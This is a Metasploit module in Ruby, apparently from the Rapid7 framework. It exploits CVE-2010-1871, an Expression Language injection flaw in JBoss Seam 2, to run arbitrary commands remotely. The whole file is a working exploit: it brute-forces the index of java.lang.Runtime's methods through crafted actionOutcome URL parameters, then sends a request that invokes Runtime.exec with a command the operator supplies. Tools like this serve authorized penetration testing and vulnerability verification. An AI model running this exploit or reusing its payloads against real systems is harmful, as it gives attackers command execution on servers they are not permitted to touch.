JBoss Seam 2 Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss Seam 2 Remote Command Execution',
        'Description' => %q{
          JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
          4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
          Language (EL) expressions, which allows remote attackers to execute arbitrary code
          via a crafted URL. This modules also has been tested successfully against IBM
          WebSphere 6.1 running on iSeries.

          NOTE: this is only a vulnerability when the Java Security Manager is not properly
          configured.
        },
        'Author' => [
          'guerrino di massa', # Metasploit module
          'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-1871' ],
          [ 'OSVDB', '66881']
        ],
        'DisclosureDate' => '2010-07-19'
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
        OptString.new('CMD', [ true, 'The command to execute.'])
      ]
    )
  end

  def run
    uri = normalize_uri(target_uri.to_s)
    cmd_enc = ''
    cmd_enc << Rex::Text.uri_encode(datastore['CMD'])

    flag_found_one = 255
    flag_found_two = 255

    uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
    uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
    uri_part_3 = "].invoke(null),'"

    25.times do |index|
      req = uri + uri_part_1 + index.to_s + ']}'

      res = send_request_cgi(
        {
          'uri' => req,
          'method' => 'GET'
        }, 20
      )

      if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))
        flag_found_one = index
        print_status('Found right index at [' + index.to_s + '] - exec')
      elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))
        print_status('Found right index at [' + index.to_s + '] - getRuntime')
        flag_found_two = index
      else
        print_status('Index [' + index.to_s + ']')
      end
    end

    if (flag_found_one != 255 && flag_found_two != 255)
      print_status('Target appears VULNERABLE!')
      print_status('Sending remote command:' + datastore['CMD'])

      req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"

      res = send_request_cgi(
        {
          'uri' => req,
          'method' => 'GET'
        }, 20
      )

      if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))
        print_good('Exploited successfully')
      else
        print_error('Exploit failed')
      end
    else
      print_error('Target appears not vulnerable!')
    end
  end
end